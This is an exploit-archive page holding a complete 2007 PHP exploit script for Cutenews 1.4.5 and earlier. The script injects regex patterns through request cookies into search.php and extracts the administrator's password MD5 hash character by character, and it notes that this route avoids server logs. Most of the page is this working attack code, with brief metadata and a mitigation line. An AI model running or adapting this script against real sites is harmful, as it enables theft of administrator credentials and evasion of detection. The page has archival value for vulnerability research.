header-logo
Suggest Exploit
vendor:
Cutenews
by:
Janek Vind
7.5
CVSS
HIGH
Admin Password Hash Fetching
CWE
Product Name: Cutenews
Affected Version From: 1.4.2005
Affected Version To: 1.4.2005
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

Cutenews <= 1.4.5 admin password md5 hash fetching exploit

This is an exploit that allows an attacker to fetch the md5 hash of the admin password in Cutenews version 1.4.5 or below. The exploit is optimized for speed and goes through the $_COOKIE variable, so there is no logging fear. It also includes a pretesting feature to save time if Cutenews is not vulnerable.

Mitigation:

Upgrade to a version higher than 1.4.5
Source

Exploit-DB raw data:

<?php
error_reporting(E_ALL); 
/////////////////////////////////////////////////////////////////////// 
///////////////////////////////////////////////////////////////////////
// Cutenews <= 1.4.5 admin password md5 hash fetching exploit
// Version 1.0
// written by Janek Vind "waraxe" 
// http://www.waraxe.us
// 23. dec 2007
// Estonia, Tartu
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_COOKIE, so no log fear
// 3. Pretesting saves time if Cutenews is not vulnerable
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html 
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
/////////////////////////////////////////////////////////////////////// 
/////////////////////////////////////////////////////////////////////// 
//===================================================================== 
$target = 'http://localhost/cutenews.1.4.5/search.php';
$username = 'waraxe'; // Username is needed
$outfile = './cute_log.txt';// Log file
//=====================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
$levels = array(1=>'admin',2=>'editor',3=>'journalist',4=>'commenter');
$start_time = time();
$requests = 0;
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
	if(!isset($_REQUEST['wtf-is-cli']))
	{ 
		echo "<html><head><title>Attention!</title></head>\n";
		echo "<body><br /><br /><center>\n";
		echo "<h1>Warning!</h1>\n";
		echo "This exploit is meant to be used as php CLI script!<br />\n";
		echo "More information:<br />\n";
		echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
		echo "Still, you can try to run it from webserver.<br />\n";
		echo "Just press the button below and prepare for long waiting<br />\n";
		echo "And learn to use php CLI next time, please ...<br />\n";
		echo "<form method=\"get\">\n";
		echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
		echo "</form>\n";
		echo "</center></body></html>\n";
		exit;
	}
	else
	{
		// Let's try to maximize our chances without CLI
		set_time_limit(0);
	}
}
//=====================================================================
add_logline("-------------------------------------------------------");
add_logline("Cutenews password md5 hash fetching started");
add_logline("Target: $target");
add_logline("Username: $username");

pre_test();

$h = get_hash();
$run_time = time() - $start_time;

add_logline("MD5 hash: $h");

xecho("\nFinal MD5 hash: $h", 1);
xecho("\nTotal time spent: $run_time seconds", 1);
xecho("HTTP requests made: $requests\n", 1);
xecho("Questions and feedback - http://www.waraxe.us/forums.html", 1); 
xecho("See ya! :)", 1);

exit; 
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function get_hash()
{
	$hash = '';
	
	for($i = 0; $i < 32; $i ++)
	{
		xecho("Finding hash char pos $i");
		$c = get_hash_char($i);
		$hash .= $c;
		xecho("Current hash: $hash");
	}
	
	return $hash;
}
///////////////////////////////////////////////////////////////////////
function get_hash_char($pos)
{
	global $username;
	
	$un = "^$username\$";
	$charset = '0123456789abcdef';
	
	$beg = '^';
	if($pos > 0)
	{
		$beg .= "([a-f0-9]{{$pos}})";
	}
	
	$end = '$';
	if($pos < 31)
	{
		$cnt = 31 - $pos;
		$end = "([a-f0-9]{{$cnt}})\$"; 
	}
	
	for($i = 8; $i > 0; $i >>= 1)
	{
		$first = substr($charset, 0, $i);
		$second = substr($charset, $i);		
		$hp = "$beg([$first])$end";

		if( make_query($un, $hp) === 1)
		{
			xecho("Position $pos: [$first]");
			$charset = $first;
		}
		else
		{
			xecho("Position $pos: [$second]");
			$charset = $second;
		}
	}
	
	return $charset;
}
///////////////////////////////////////////////////////////////////////
function pre_test()
{
	global $username;
	
	// Target URL valid?
	xecho("Validating target URL");
	if(strpos(make_get($GLOBALS['target']), 'search_in_archives') === false)
	{
		die('Target URL not valid!');
	}
	xecho("URL is valid");
	
	$un = "^$username\$";
	if( make_query($un) !== 1)
	{
		die('Pretest 1 failed - wrong username?');
	}
	else
	{
		xecho("Pretest 1 passed - username OK", 1);
	}

	$hp = '^[a-f0-9]{32}$';
	if( make_query($un, $hp) !== 1)
	{
		die('Pretest 2 failed - target not vulnerable?');
	}
	else
	{
		xecho("Pretest 2 passed - regex injection OK", 1);
	}

	$hp = '^[a-f0-9]{1337}$';
	if( make_query($un, $hp) !== 0)
	{
		die('Pretest 3 failed - target not vulnerable?');
	}
	else
	{
		xecho("Pretest 3 passed - regex injection OK", 1);
	}
}
///////////////////////////////////////////////////////////////////////
function make_query($username, $hashpattern = '')
{
	global $target;
	$max_retries = 10;
	
	$cookie = "dosearch=yes;files_arch[]=./data/users.db.php;title=$username";
	if(!empty($hashpattern))
	{
		$cookie .= ";story=$hashpattern";
	}
	
	for($retry = 0; $retry < $max_retries + 1; $retry ++)
	{
		if($retry > 0)
		{
			xecho("Request failed!", 1);
			xecho("Sleeping $retry seconds", 1);
			sleep($retry);
			xecho("Awake ...", 1);
			xecho("Retry #$retry", 1);
		}
		$buff = make_get($target, $cookie);
		$x = strpos($buff, '<b>Founded News articles [');
		$y = strpos($buff, ']:</b>', $x + 25);
		if( ($x !== false) && ($y !== false) && ($x < $y) )
		{
			$buff = trim(substr($buff, $x + 26, $y - $x - 26));
			$ret = intval($buff);
			if( ($ret > -1) && ($ret < 2) )
			{
				return $ret;
			}
		}
	}
	
	die('Fatal errror - server down?');
}
///////////////////////////////////////////////////////////////////////
function make_get($url, $cookie = '', $referer = '', $headers = FALSE)
{
	$ch = curl_init();
	$timeout = 120;
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); 
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
	curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
	
	if(!empty($cookie))
	{
		curl_setopt($ch, CURLOPT_COOKIE, $cookie);
	}
 
	if(!empty($referer))
	{
		curl_setopt($ch, CURLOPT_REFERER, $referer);
	}

	if($headers === TRUE)
	{
		curl_setopt($ch, CURLOPT_HEADER, TRUE);
	}
	else
	{
		curl_setopt($ch, CURLOPT_HEADER, FALSE);
	}

	$fc = curl_exec($ch);
	curl_close($ch);
	$GLOBALS['requests'] ++;
	
	return $fc;
}
//////////////////////////////////////////////////////////////////////
function add_logline($line)
{
	global $outfile;
	
	$line .= "\n";
	$fh = fopen($outfile, 'ab');
	fwrite($fh, $line);
	fclose($fh);
	
}
//////////////////////////////////////////////////////////////////////
function xecho($line, $both = 0)
{
	if($GLOBALS['cli'])
	{
		echo "$line\n";
	}
	elseif($both)
	{
		$line = nl2br(htmlspecialchars($line));
		echo "$line<br />\n";
	}
}
/////////////////////////////////////////////////////////////////////
?>

# milw0rm.com [2007-12-24]